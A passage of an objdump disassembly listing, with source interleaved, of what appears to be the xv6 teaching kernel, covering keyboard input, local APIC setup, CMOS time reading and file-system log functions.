-0x7fef8c80(%edx),%eax 8010257a: 09 c1 or %eax,%ecx shift ^= togglecode[data]; 8010257c: 0f b6 82 80 72 10 80 movzbl -0x7fef8d80(%edx),%eax 80102583: 31 c1 xor %eax,%ecx c = charcode[shift & (CTL | SHIFT)][data]; 80102585: 89 c8 mov %ecx,%eax shift ^= togglecode[data]; 80102587: 89 0d b4 a5 10 80 mov %ecx,0x8010a5b4 c = charcode[shift & (CTL | SHIFT)][data]; 8010258d: 83 e0 03 and $0x3,%eax if(shift & CAPSLOCK){ 80102590: 83 e1 08 and $0x8,%ecx c = charcode[shift & (CTL | SHIFT)][data]; 80102593: 8b 04 85 60 72 10 80 mov -0x7fef8da0(,%eax,4),%eax 8010259a: 0f b6 04 10 movzbl (%eax,%edx,1),%eax if(shift & CAPSLOCK){ 8010259e: 74 31 je 801025d1 <kbdgetc+0xa1> if('a' <= c && c <= 'z') 801025a0: 8d 50 9f lea -0x61(%eax),%edx 801025a3: 83 fa 19 cmp $0x19,%edx 801025a6: 77 40 ja 801025e8 <kbdgetc+0xb8> c += 'A' - 'a'; 801025a8: 83 e8 20 sub $0x20,%eax else if('A' <= c && c <= 'Z') c += 'a' - 'A'; } return c; } 801025ab: 5b pop %ebx 801025ac: 5d pop %ebp 801025ad: c3 ret 801025ae: 66 90 xchg %ax,%ax data = (shift & E0ESC ? data : data & 0x7F); 801025b0: 83 e0 7f and $0x7f,%eax 801025b3: 85 db test %ebx,%ebx 801025b5: 0f 44 d0 cmove %eax,%edx shift &= ~(shiftcode[data] | E0ESC); 801025b8: 0f b6 82 80 73 10 80 movzbl -0x7fef8c80(%edx),%eax 801025bf: 83 c8 40 or $0x40,%eax 801025c2: 0f b6 c0 movzbl %al,%eax 801025c5: f7 d0 not %eax 801025c7: 21 c1 and %eax,%ecx return 0; 801025c9: 31 c0 xor %eax,%eax shift &= ~(shiftcode[data] | E0ESC); 801025cb: 89 0d b4 a5 10 80 mov %ecx,0x8010a5b4 } 801025d1: 5b pop %ebx 801025d2: 5d pop %ebp 801025d3: c3 ret 801025d4: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi shift |= E0ESC; 801025d8: 83 c9 40 or $0x40,%ecx return 0; 801025db: 31 c0 xor %eax,%eax shift |= E0ESC; 801025dd: 89 0d b4 a5 10 80 mov %ecx,0x8010a5b4 return 0; 801025e3: c3 ret 801025e4: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi else if('A' <= c && c <= 'Z') 801025e8: 8d 48 bf lea -0x41(%eax),%ecx c += 'a' - 'A'; 801025eb: 8d 50 20 lea 0x20(%eax),%edx } 801025ee: 5b pop %ebx c += 'a' - 'A'; 801025ef: 83 f9 1a cmp $0x1a,%ecx 801025f2: 0f 42 c2 cmovb %edx,%eax } 801025f5: 5d pop %ebp 801025f6: c3 ret 801025f7: 89 f6 mov %esi,%esi 801025f9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi return -1; 80102600: b8 ff ff ff ff mov $0xffffffff,%eax } 80102605: c3 ret 80102606: 8d 76 00 lea 0x0(%esi),%esi 80102609: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 80102610 <kbdintr>: void kbdintr(void) { 80102610: 55 push %ebp 80102611: 89 e5 mov %esp,%ebp 80102613: 83 ec 14 sub $0x14,%esp consoleintr(kbdgetc); 80102616: 68 30 25 10 80 push $0x80102530 8010261b: e8 f0 e1 ff ff call 80100810 <consoleintr> } 80102620: 83 c4 10 add $0x10,%esp 80102623: c9 leave 80102624: c3 ret 80102625: 66 90 xchg %ax,%ax 80102627: 66 90 xchg %ax,%ax 80102629: 66 90 xchg %ax,%ax 8010262b: 66 90 xchg %ax,%ax 8010262d: 66 90 xchg %ax,%ax 8010262f: 90 nop 80102630 <lapicinit>: } void lapicinit(void) { if(!lapic) 80102630: a1 7c 26 11 80 mov 0x8011267c,%eax { 80102635: 55 push %ebp 80102636: 89 e5 mov %esp,%ebp if(!lapic) 80102638: 85 c0 test %eax,%eax 8010263a: 0f 84 c8 00 00 00 je 80102708 <lapicinit+0xd8> lapic[index] = value; 80102640: c7 80 f0 00 00 00 3f movl $0x13f,0xf0(%eax) 80102647: 01 00 00 lapic[ID]; // wait for write to finish, by reading 8010264a: 8b 50 20 mov 0x20(%eax),%edx lapic[index] = value; 8010264d: c7 80 e0 03 00 00 0b movl $0xb,0x3e0(%eax) 80102654: 00 00 00 lapic[ID]; // wait for write to finish, by reading 80102657: 8b 50 20 mov 0x20(%eax),%edx lapic[index] = value; 8010265a: c7 80 20 03 00 00 20 movl $0x20020,0x320(%eax) 80102661: 00 02 00 lapic[ID]; // wait for write to finish, by reading 80102664: 8b 50 20 mov 0x20(%eax),%edx lapic[index] = value; 80102667: c7 80 80 03 00 00 80 movl $0x989680,0x380(%eax) 8010266e: 96 98 00 lapic[ID]; // wait for write to finish, by reading 80102671: 8b 50 20 mov 0x20(%eax),%edx lapic[index] = value; 80102674: c7 80 50 03 00 00 00 movl $0x10000,0x350(%eax) 8010267b: 00 01 00 lapic[ID]; // wait for write to finish, by reading 8010267e: 8b 50 20 mov 0x20(%eax),%edx lapic[index] = value; 80102681: c7 80 60 03 00 00 00 movl $0x10000,0x360(%eax) 80102688: 00 01 00 lapic[ID]; // wait for write to finish, by reading 8010268b: 8b 50 20 mov 0x20(%eax),%edx lapicw(LINT0, MASKED); lapicw(LINT1, MASKED); // Disable performance counter overflow interrupts // on machines that provide that interrupt entry. if(((lapic[VER]>>16) & 0xFF) >= 4) 8010268e: 8b 50 30 mov 0x30(%eax),%edx 80102691: c1 ea 10 shr $0x10,%edx 80102694: 80 fa 03 cmp $0x3,%dl 80102697: 77 77 ja 80102710 <lapicinit+0xe0> lapic[index] = value; 80102699: c7 80 70 03 00 00 33 movl $0x33,0x370(%eax) 801026a0: 00 00 00 lapic[ID]; // wait for write to finish, by reading 801026a3: 8b 50 20 mov 0x20(%eax),%edx lapic[index] = value; 801026a6: c7 80 80 02 00 00 00 movl $0x0,0x280(%eax) 801026ad: 00 00 00 lapic[ID]; // wait for write to finish, by reading 801026b0: 8b 50 20 mov 0x20(%eax),%edx lapic[index] = value; 801026b3: c7 80 80 02 00 00 00 movl $0x0,0x280(%eax) 801026ba: 00 00 00 lapic[ID]; // wait for write to finish, by reading 801026bd: 8b 50 20 mov 0x20(%eax),%edx lapic[index] = value; 801026c0: c7 80 b0 00 00 00 00 movl $0x0,0xb0(%eax) 801026c7: 00 00 00 lapic[ID]; // wait for write to finish, by reading 801026ca: 8b 50 20 mov 0x20(%eax),%edx lapic[index] = value; 801026cd: c7 80 10 03 00 00 00 movl $0x0,0x310(%eax) 801026d4: 00 00 00 lapic[ID]; // wait for write to finish, by reading 801026d7: 8b 50 20 mov 0x20(%eax),%edx lapic[index] = value; 801026da: c7 80 00 03 00 00 00 movl $0x88500,0x300(%eax) 801026e1: 85 08 00 lapic[ID]; // wait for write to finish, by reading 801026e4: 8b 50 20 mov 0x20(%eax),%edx 801026e7: 89 f6 mov %esi,%esi 801026e9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi lapicw(EOI, 0); // Send an Init Level De-Assert to synchronise arbitration ID's. lapicw(ICRHI, 0); lapicw(ICRLO, BCAST | INIT | LEVEL); while(lapic[ICRLO] & DELIVS) 801026f0: 8b 90 00 03 00 00 mov 0x300(%eax),%edx 801026f6: 80 e6 10 and $0x10,%dh 801026f9: 75 f5 jne 801026f0 <lapicinit+0xc0> lapic[index] = value; 801026fb: c7 80 80 00 00 00 00 movl $0x0,0x80(%eax) 80102702: 00 00 00 lapic[ID]; // wait for write to finish, by reading 80102705: 8b 40 20 mov 0x20(%eax),%eax ; // Enable interrupts on the APIC (but not on the processor). lapicw(TPR, 0); } 80102708: 5d pop %ebp 80102709: c3 ret 8010270a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi lapic[index] = value; 80102710: c7 80 40 03 00 00 00 movl $0x10000,0x340(%eax) 80102717: 00 01 00 lapic[ID]; // wait for write to finish, by reading 8010271a: 8b 50 20 mov 0x20(%eax),%edx 8010271d: e9 77 ff ff ff jmp 80102699 <lapicinit+0x69> 80102722: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 80102729: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 80102730 <lapicid>: int lapicid(void) { if (!lapic) 80102730: 8b 15 7c 26 11 80 mov 0x8011267c,%edx { 80102736: 55 push %ebp 80102737: 31 c0 xor %eax,%eax 80102739: 89 e5 mov %esp,%ebp if (!lapic) 8010273b: 85 d2 test %edx,%edx 8010273d: 74 06 je 80102745 <lapicid+0x15> return 0; return lapic[ID] >> 24; 8010273f: 8b 42 20 mov 0x20(%edx),%eax 80102742: c1 e8 18 shr $0x18,%eax } 80102745: 5d pop %ebp 80102746: c3 ret 80102747: 89 f6 mov %esi,%esi 80102749: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 80102750 <lapiceoi>: // Acknowledge interrupt. void lapiceoi(void) { if(lapic) 80102750: a1 7c 26 11 80 mov 0x8011267c,%eax { 80102755: 55 push %ebp 80102756: 89 e5 mov %esp,%ebp if(lapic) 80102758: 85 c0 test %eax,%eax 8010275a: 74 0d je 80102769 <lapiceoi+0x19> lapic[index] = value; 8010275c: c7 80 b0 00 00 00 00 movl $0x0,0xb0(%eax) 80102763: 00 00 00 lapic[ID]; // wait for write to finish, by reading 80102766: 8b 40 20 mov 0x20(%eax),%eax lapicw(EOI, 0); } 80102769: 5d pop %ebp 8010276a: c3 ret 8010276b: 90 nop 8010276c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 80102770 <microdelay>: // Spin for a given number of microseconds. // On real hardware would want to tune this dynamically. void microdelay(int us) { 80102770: 55 push %ebp 80102771: 89 e5 mov %esp,%ebp } 80102773: 5d pop %ebp 80102774: c3 ret 80102775: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 80102779: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 80102780 <lapicstartap>: // Start additional processor running entry code at addr. // See Appendix B of MultiProcessor Specification. void lapicstartap(uchar apicid, uint addr) { 80102780: 55 push %ebp asm volatile("out %0,%1" : : "a" (data), "d" (port)); 80102781: b8 0f 00 00 00 mov $0xf,%eax 80102786: ba 70 00 00 00 mov $0x70,%edx 8010278b: 89 e5 mov %esp,%ebp 8010278d: 53 push %ebx 8010278e: 8b 4d 0c mov 0xc(%ebp),%ecx 80102791: 8b 5d 08 mov 0x8(%ebp),%ebx 80102794: ee out %al,(%dx) 80102795: b8 0a 00 00 00 mov $0xa,%eax 8010279a: ba 71 00 00 00 mov $0x71,%edx 8010279f: ee out %al,(%dx) // and the warm reset vector (DWORD based at 40:67) to point at // the AP startup code prior to the [universal startup algorithm]." outb(CMOS_PORT, 0xF); // offset 0xF is shutdown code outb(CMOS_PORT+1, 0x0A); wrv = (ushort*)P2V((0x40<<4 | 0x67)); // Warm reset vector wrv[0] = 0; 801027a0: 31 c0 xor %eax,%eax wrv[1] = addr >> 4; // "Universal startup algorithm." // Send INIT (level-triggered) interrupt to reset other CPU. lapicw(ICRHI, apicid<<24); 801027a2: c1 e3 18 shl $0x18,%ebx wrv[0] = 0; 801027a5: 66 a3 67 04 00 80 mov %ax,0x80000467 wrv[1] = addr >> 4; 801027ab: 89 c8 mov %ecx,%eax // when it is in the halted state due to an INIT. So the second // should be ignored, but it is part of the official Intel algorithm. // Bochs complains about the second one. Too bad for Bochs. for(i = 0; i < 2; i++){ lapicw(ICRHI, apicid<<24); lapicw(ICRLO, STARTUP | (addr>>12)); 801027ad: c1 e9 0c shr $0xc,%ecx wrv[1] = addr >> 4; 801027b0: c1 e8 04 shr $0x4,%eax lapicw(ICRHI, apicid<<24); 801027b3: 89 da mov %ebx,%edx lapicw(ICRLO, STARTUP | (addr>>12)); 801027b5: 80 cd 06 or $0x6,%ch wrv[1] = addr >> 4; 801027b8: 66 a3 69 04 00 80 mov %ax,0x80000469 lapic[index] = value; 801027be: a1 7c 26 11 80 mov 0x8011267c,%eax 801027c3: 89 98 10 03 00 00 mov %ebx,0x310(%eax) lapic[ID]; // wait for write to finish, by reading 801027c9: 8b 58 20 mov 0x20(%eax),%ebx lapic[index] = value; 801027cc: c7 80 00 03 00 00 00 movl $0xc500,0x300(%eax) 801027d3: c5 00 00 lapic[ID]; // wait for write to finish, by reading 801027d6: 8b 58 20 mov 0x20(%eax),%ebx lapic[index] = value; 801027d9: c7 80 00 03 00 00 00 movl $0x8500,0x300(%eax) 801027e0: 85 00 00 lapic[ID]; // wait for write to finish, by reading 801027e3: 8b 58 20 mov 0x20(%eax),%ebx lapic[index] = value; 801027e6: 89 90 10 03 00 00 mov %edx,0x310(%eax) lapic[ID]; // wait for write to finish, by reading 801027ec: 8b 58 20 mov 0x20(%eax),%ebx lapic[index] = value; 801027ef: 89 88 00 03 00 00 mov %ecx,0x300(%eax) lapic[ID]; // wait for write to finish, by reading 801027f5: 8b 58 20 mov 0x20(%eax),%ebx lapic[index] = value; 801027f8: 89 90 10 03 00 00 mov %edx,0x310(%eax) lapic[ID]; // wait for write to finish, by reading 801027fe: 8b 50 20 mov 0x20(%eax),%edx lapic[index] = value; 80102801: 89 88 00 03 00 00 mov %ecx,0x300(%eax) lapic[ID]; // wait for write to finish, by reading 80102807: 8b 40 20 mov 0x20(%eax),%eax microdelay(200); } } 8010280a: 5b pop %ebx 8010280b: 5d pop %ebp 8010280c: c3 ret 8010280d: 8d 76 00 lea 0x0(%esi),%esi 80102810 <cmostime>: } // qemu seems to use 24-hour GWT and the values are BCD encoded void cmostime(struct rtcdate *r) { 80102810: 55 push %ebp 80102811: b8 0b 00 00 00 mov $0xb,%eax 80102816: ba 70 00 00 00 mov $0x70,%edx 8010281b: 89 e5 mov %esp,%ebp 8010281d: 57 push %edi 8010281e: 56 push %esi 8010281f: 53 push %ebx 80102820: 83 ec 4c sub $0x4c,%esp 80102823: ee out %al,(%dx) asm volatile("in %1,%0" : "=a" (data) : "d" (port)); 80102824: ba 71 00 00 00 mov $0x71,%edx 80102829: ec in (%dx),%al 8010282a: 83 e0 04 and $0x4,%eax asm volatile("out %0,%1" : : "a" (data), "d" (port)); 8010282d: bb 70 00 00 00 mov $0x70,%ebx 80102832: 88 45 b3 mov %al,-0x4d(%ebp) 80102835: 8d 76 00 lea 0x0(%esi),%esi 80102838: 31 c0 xor %eax,%eax 8010283a: 89 da mov %ebx,%edx 8010283c: ee out %al,(%dx) asm volatile("in %1,%0" : "=a" (data) : "d" (port)); 8010283d: b9 71 00 00 00 mov $0x71,%ecx 80102842: 89 ca mov %ecx,%edx 80102844: ec in (%dx),%al 80102845: 88 45 b7 mov %al,-0x49(%ebp) asm volatile("out %0,%1" : : "a" (data), "d" (port)); 80102848: 89 da mov %ebx,%edx 8010284a: b8 02 00 00 00 mov $0x2,%eax 8010284f: ee out %al,(%dx) asm volatile("in %1,%0" : "=a" (data) : "d" (port)); 80102850: 89 ca mov %ecx,%edx 80102852: ec in (%dx),%al 80102853: 88 45 b6 mov %al,-0x4a(%ebp) asm volatile("out %0,%1" : : "a" (data), "d" (port)); 80102856: 89 da mov %ebx,%edx 80102858: b8 04 00 00 00 mov $0x4,%eax 8010285d: ee out %al,(%dx) asm volatile("in %1,%0" : "=a" (data) : "d" (port)); 8010285e: 89 ca mov %ecx,%edx 80102860: ec in (%dx),%al 80102861: 88 45 b5 mov %al,-0x4b(%ebp) asm volatile("out %0,%1" : : "a" (data), "d" (port)); 80102864: 89 da mov %ebx,%edx 80102866: b8 07 00 00 00 mov $0x7,%eax 8010286b: ee out %al,(%dx) asm volatile("in %1,%0" : "=a" (data) : "d" (port)); 8010286c: 89 ca mov %ecx,%edx 8010286e: ec in (%dx),%al 8010286f: 88 45 b4 mov %al,-0x4c(%ebp) asm volatile("out %0,%1" : : "a" (data), "d" (port)); 80102872: 89 da mov %ebx,%edx 80102874: b8 08 00 00 00 mov $0x8,%eax 80102879: ee out %al,(%dx) asm volatile("in %1,%0" : "=a" (data) : "d" (port)); 8010287a: 89 ca mov %ecx,%edx 8010287c: ec in (%dx),%al 8010287d: 89 c7 mov %eax,%edi asm volatile("out %0,%1" : : "a" (data), "d" (port)); 8010287f: 89 da mov %ebx,%edx 80102881: b8 09 00 00 00 mov $0x9,%eax 80102886: ee out %al,(%dx) asm volatile("in %1,%0" : "=a" (data) : "d" (port)); 80102887: 89 ca mov %ecx,%edx 80102889: ec in (%dx),%al 8010288a: 89 c6 mov %eax,%esi asm volatile("out %0,%1" : : "a" (data), "d" (port)); 8010288c: 89 da mov %ebx,%edx 8010288e: b8 0a 00 00 00 mov $0xa,%eax 80102893: ee out %al,(%dx) asm volatile("in %1,%0" : "=a" (data) : "d" (port)); 80102894: 89 ca mov %ecx,%edx 80102896: ec in (%dx),%al bcd = (sb & (1 << 2)) == 0; // make sure CMOS doesn't modify time while we read it for(;;) { fill_rtcdate(&t1); if(cmos_read(CMOS_STATA) & CMOS_UIP) 80102897: 84 c0 test %al,%al 80102899: 78 9d js 80102838 <cmostime+0x28> return inb(CMOS_RETURN); 8010289b: 0f b6 45 b7 movzbl -0x49(%ebp),%eax 8010289f: 89 fa mov %edi,%edx 801028a1: 0f b6 fa movzbl %dl,%edi 801028a4: 89 f2 mov %esi,%edx 801028a6: 0f b6 f2 movzbl %dl,%esi 801028a9: 89 7d c8 mov %edi,-0x38(%ebp) asm volatile("out %0,%1" : : "a" (data), "d" (port)); 801028ac: 89 da mov %ebx,%edx 801028ae: 89 75 cc mov %esi,-0x34(%ebp) 801028b1: 89 45 b8 mov %eax,-0x48(%ebp) 801028b4: 0f b6 45 b6 movzbl -0x4a(%ebp),%eax 801028b8: 89 45 bc mov %eax,-0x44(%ebp) 801028bb: 0f b6 45 b5 movzbl -0x4b(%ebp),%eax 801028bf: 89 45 c0 mov %eax,-0x40(%ebp) 801028c2: 0f b6 45 b4 movzbl -0x4c(%ebp),%eax 801028c6: 89 45 c4 mov %eax,-0x3c(%ebp) 801028c9: 31 c0 xor %eax,%eax 801028cb: ee out %al,(%dx) asm volatile("in %1,%0" : "=a" (data) : "d" (port)); 801028cc: 89 ca mov %ecx,%edx 801028ce: ec in (%dx),%al 801028cf: 0f b6 c0 movzbl %al,%eax asm volatile("out %0,%1" : : "a" (data), "d" (port)); 801028d2: 89 da mov %ebx,%edx 801028d4: 89 45 d0 mov %eax,-0x30(%ebp) 801028d7: b8 02 00 00 00 mov $0x2,%eax 801028dc: ee out %al,(%dx) asm volatile("in %1,%0" : "=a" (data) : "d" (port)); 801028dd: 89 ca mov %ecx,%edx 801028df: ec in (%dx),%al 801028e0: 0f b6 c0 movzbl %al,%eax asm volatile("out %0,%1" : : "a" (data), "d" (port)); 801028e3: 89 da mov %ebx,%edx 801028e5: 89 45 d4 mov %eax,-0x2c(%ebp) 801028e8: b8 04 00 00 00 mov $0x4,%eax 801028ed: ee out %al,(%dx) asm volatile("in %1,%0" : "=a" (data) : "d" (port)); 801028ee: 89 ca mov %ecx,%edx 801028f0: ec in (%dx),%al 801028f1: 0f b6 c0 movzbl %al,%eax asm volatile("out %0,%1" : : "a" (data), "d" (port)); 801028f4: 89 da mov %ebx,%edx 801028f6: 89 45 d8 mov %eax,-0x28(%ebp) 801028f9: b8 07 00 00 00 mov $0x7,%eax 801028fe: ee out %al,(%dx) asm volatile("in %1,%0" : "=a" (data) : "d" (port)); 801028ff: 89 ca mov %ecx,%edx 80102901: ec in (%dx),%al 80102902: 0f b6 c0 movzbl %al,%eax asm volatile("out %0,%1" : : "a" (data), "d" (port)); 80102905: 89 da mov %ebx,%edx 80102907: 89 45 dc mov %eax,-0x24(%ebp) 8010290a: b8 08 00 00 00 mov $0x8,%eax 8010290f: ee out %al,(%dx) asm volatile("in %1,%0" : "=a" (data) : "d" (port)); 80102910: 89 ca mov %ecx,%edx 80102912: ec in (%dx),%al 80102913: 0f b6 c0 movzbl %al,%eax asm volatile("out %0,%1" : : "a" (data), "d" (port)); 80102916: 89 da mov %ebx,%edx 80102918: 89 45 e0 mov %eax,-0x20(%ebp) 8010291b: b8 09 00 00 00 mov $0x9,%eax 80102920: ee out %al,(%dx) asm volatile("in %1,%0" : "=a" (data) : "d" (port)); 80102921: 89 ca mov %ecx,%edx 80102923: ec in (%dx),%al 80102924: 0f b6 c0 movzbl %al,%eax continue; fill_rtcdate(&t2); if(memcmp(&t1, &t2, sizeof(t1)) == 0) 80102927: 83 ec 04 sub $0x4,%esp return inb(CMOS_RETURN); 8010292a: 89 45 e4 mov %eax,-0x1c(%ebp) if(memcmp(&t1, &t2, sizeof(t1)) == 0) 8010292d: 8d 45 d0 lea -0x30(%ebp),%eax 80102930: 6a 18 push $0x18 80102932: 50 push %eax 80102933: 8d 45 b8 lea -0x48(%ebp),%eax 80102936: 50 push %eax 80102937: e8 34 1c 00 00 call 80104570 <memcmp> 8010293c: 83 c4 10 add $0x10,%esp 8010293f: 85 c0 test %eax,%eax 80102941: 0f 85 f1 fe ff ff jne 80102838 <cmostime+0x28> break; } // convert if(bcd) { 80102947: 80 7d b3 00 cmpb $0x0,-0x4d(%ebp) 8010294b: 75 78 jne 801029c5 <cmostime+0x1b5> #define CONV(x) (t1.x = ((t1.x >> 4) * 10) + (t1.x & 0xf)) CONV(second); 8010294d: 8b 45 b8 mov -0x48(%ebp),%eax 80102950: 89 c2 mov %eax,%edx 80102952: 83 e0 0f and $0xf,%eax 80102955: c1 ea 04 shr $0x4,%edx 80102958: 8d 14 92 lea (%edx,%edx,4),%edx 8010295b: 8d 04 50 lea (%eax,%edx,2),%eax 8010295e: 89 45 b8 mov %eax,-0x48(%ebp) CONV(minute); 80102961: 8b 45 bc mov -0x44(%ebp),%eax 80102964: 89 c2 mov %eax,%edx 80102966: 83 e0 0f and $0xf,%eax 80102969: c1 ea 04 shr $0x4,%edx 8010296c: 8d 14 92 lea (%edx,%edx,4),%edx 8010296f: 8d 04 50 lea (%eax,%edx,2),%eax 80102972: 89 45 bc mov %eax,-0x44(%ebp) CONV(hour ); 80102975: 8b 45 c0 mov -0x40(%ebp),%eax 80102978: 89 c2 mov %eax,%edx 8010297a: 83 e0 0f and $0xf,%eax 8010297d: c1 ea 04 shr $0x4,%edx 80102980: 8d 14 92 lea (%edx,%edx,4),%edx 80102983: 8d 04 50 lea (%eax,%edx,2),%eax 80102986: 89 45 c0 mov %eax,-0x40(%ebp) CONV(day ); 80102989: 8b 45 c4 mov -0x3c(%ebp),%eax 8010298c: 89 c2 mov %eax,%edx 8010298e: 83 e0 0f and $0xf,%eax 80102991: c1 ea 04 shr $0x4,%edx 80102994: 8d 14 92 lea (%edx,%edx,4),%edx 80102997: 8d 04 50 lea (%eax,%edx,2),%eax 8010299a: 89 45 c4 mov %eax,-0x3c(%ebp) CONV(month ); 8010299d: 8b 45 c8 mov -0x38(%ebp),%eax 801029a0: 89 c2 mov %eax,%edx 801029a2: 83 e0 0f and $0xf,%eax 801029a5: c1 ea 04 shr $0x4,%edx 801029a8: 8d 14 92 lea (%edx,%edx,4),%edx 801029ab: 8d 04 50 lea (%eax,%edx,2),%eax 801029ae: 89 45 c8 mov %eax,-0x38(%ebp) CONV(year ); 801029b1: 8b 45 cc mov -0x34(%ebp),%eax 801029b4: 89 c2 mov %eax,%edx 801029b6: 83 e0 0f and $0xf,%eax 801029b9: c1 ea 04 shr $0x4,%edx 801029bc: 8d 14 92 lea (%edx,%edx,4),%edx 801029bf: 8d 04 50 lea (%eax,%edx,2),%eax 801029c2: 89 45 cc mov %eax,-0x34(%ebp) #undef CONV } *r = t1; 801029c5: 8b 75 08 mov 0x8(%ebp),%esi 801029c8: 8b 45 b8 mov -0x48(%ebp),%eax 801029cb: 89 06 mov %eax,(%esi) 801029cd: 8b 45 bc mov -0x44(%ebp),%eax 801029d0: 89 46 04 mov %eax,0x4(%esi) 801029d3: 8b 45 c0 mov -0x40(%ebp),%eax 801029d6: 89 46 08 mov %eax,0x8(%esi) 801029d9: 8b 45 c4 mov -0x3c(%ebp),%eax 801029dc: 89 46 0c mov %eax,0xc(%esi) 801029df: 8b 45 c8 mov -0x38(%ebp),%eax 801029e2: 89 46 10 mov %eax,0x10(%esi) 801029e5: 8b 45 cc mov -0x34(%ebp),%eax 801029e8: 89 46 14 mov %eax,0x14(%esi) r->year += 2000; 801029eb: 81 46 14 d0 07 00 00 addl $0x7d0,0x14(%esi) } 801029f2: 8d 65 f4 lea -0xc(%ebp),%esp 801029f5: 5b pop %ebx 801029f6: 5e pop %esi 801029f7: 5f pop %edi 801029f8: 5d pop %ebp 801029f9: c3 ret 801029fa: 66 90 xchg %ax,%ax 801029fc: 66 90 xchg %ax,%ax 801029fe: 66 90 xchg %ax,%ax 80102a00 <install_trans>: static void install_trans(void) { int tail; for (tail = 0; tail < log.lh.n; tail++) { 80102a00: 8b 0d c8 26 11 80 mov 0x801126c8,%ecx 80102a06: 85 c9 test %ecx,%ecx 80102a08: 0f 8e 8a 00 00 00 jle 80102a98 <install_trans+0x98> { 80102a0e: 55 push %ebp 80102a0f: 89 e5 mov %esp,%ebp 80102a11: 57 push %edi 80102a12: 56 push %esi 80102a13: 53 push %ebx for (tail = 0; tail < log.lh.n; tail++) { 80102a14: 31 db xor %ebx,%ebx { 80102a16: 83 ec 0c sub $0xc,%esp 80102a19: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi struct buf *lbuf = bread(log.dev, log.start+tail+1); // read log block 80102a20: a1 b4 26 11 80 mov 0x801126b4,%eax 80102a25: 83 ec 08 sub $0x8,%esp 80102a28: 01 d8 add %ebx,%eax 80102a2a: 83 c0 01 add $0x1,%eax 80102a2d: 50 push %eax 80102a2e: ff 35 c4 26 11 80 pushl 0x801126c4 80102a34: e8 97 d6 ff ff call 801000d0 <bread> 80102a39: 89 c7 mov %eax,%edi struct buf *dbuf = bread(log.dev, log.lh.block[tail]); // read dst 80102a3b: 58 pop %eax 80102a3c: 5a pop %edx 80102a3d: ff 34 9d cc 26 11 80 pushl -0x7feed934(,%ebx,4) 80102a44: ff 35 c4 26 11 80 pushl 0x801126c4 for (tail = 0; tail < log.lh.n; tail++) { 80102a4a: 83 c3 01 add $0x1,%ebx struct buf *dbuf = bread(log.dev, log.lh.block[tail]); // read dst 80102a4d: e8 7e d6 ff ff call 801000d0 <bread> 80102a52: 89 c6 mov %eax,%esi memmove(dbuf->data, lbuf->data, BSIZE); // copy block to dst 80102a54: 8d 47 5c lea 0x5c(%edi),%eax 80102a57: 83 c4 0c add $0xc,%esp 80102a5a: 68 00 02 00 00 push $0x200 80102a5f: 50 push %eax 80102a60: 8d 46 5c lea 0x5c(%esi),%eax 80102a63: 50 push %eax 80102a64: e8 67 1b 00 00 call 801045d0 <memmove> bwrite(dbuf); // write dst to disk 80102a69: 89 34 24 mov %esi,(%esp) 80102a6c: e8 2f d7 ff ff call 801001a0 <bwrite> brelse(lbuf); 80102a71: 89 3c 24 mov %edi,(%esp) 80102a74: e8 67 d7 ff ff call 801001e0 <brelse> brelse(dbuf); 80102a79: 89 34 24 mov %esi,(%esp) 80102a7c: e8 5f d7 ff ff call 801001e0 <brelse> for (tail = 0; tail < log.lh.n; tail++) { 80102a81: 83 c4 10 add $0x10,%esp 80102a84: 39 1d c8 26 11 80 cmp %ebx,0x801126c8 80102a8a: 7f 94 jg 80102a20 <install_trans+0x20> } } 80102a8c: 8d 65 f4 lea -0xc(%ebp),%esp 80102a8f: 5b pop %ebx 80102a90: 5e pop %esi 80102a91: 5f pop %edi 80102a92: 5d pop %ebp 80102a93: c3 ret 80102a94: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 80102a98: f3 c3 repz ret 80102a9a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 80102aa0 <write_head>: // Write in-memory log header to disk. // This is the true point at which the // current transaction commits. static void write_head(void) { 80102aa0: 55 push %ebp 80102aa1: 89 e5 mov %esp,%ebp 80102aa3: 56 push %esi 80102aa4: 53 push %ebx struct buf *buf = bread(log.dev, log.start); 80102aa5: 83 ec 08 sub $0x8,%esp 80102aa8: ff 35 b4 26 11 80 pushl 0x801126b4 80102aae: ff 35 c4 26 11 80 pushl 0x801126c4 80102ab4: e8 17 d6 ff ff call 801000d0 <bread> struct logheader *hb = (struct logheader *) (buf->data); int i; hb->n = log.lh.n; 80102ab9: 8b 1d c8 26 11 80 mov 0x801126c8,%ebx for (i = 0; i < log.lh.n; i++) { 80102abf: 83 c4 10 add $0x10,%esp struct buf *buf = bread(log.dev, log.start); 80102ac2: 89 c6 mov %eax,%esi for (i = 0; i < log.lh.n; i++) { 80102ac4: 85 db test %ebx,%ebx hb->n = log.lh.n; 80102ac6: 89 58 5c mov %ebx,0x5c(%eax) for (i = 0; i < log.lh.n; i++) { 80102ac9: 7e 16 jle 80102ae1 <write_head+0x41> 80102acb: c1 e3 02 shl $0x2,%ebx 80102ace: 31 d2 xor %edx,%edx hb->block[i] = log.lh.block[i]; 80102ad0: 8b 8a cc 26 11 80 mov -0x7feed934(%edx),%ecx 80102ad6: 89 4c 16 60 mov %ecx,0x60(%esi,%edx,1) 80102ada: 83 c2 04 add $0x4,%edx for (i = 0; i < log.lh.n; i++) { 80102add: 39 da cmp %ebx,%edx 80102adf: 75 ef jne 80102ad0 <write_head+0x30> } bwrite(buf); 80102ae1: 83 ec 0c sub $0xc,%esp 80102ae4: 56 push %esi 80102ae5: e8 b6 d6 ff ff call 801001a0 <bwrite> brelse(buf); 80102aea: 89 34 24 mov %esi,(%esp) 80102aed: e8 ee d6 ff ff call 801001e0 <brelse> } 80102af2: 83 c4 10 add $0x10,%esp 80102af5: 8d 65 f8 lea 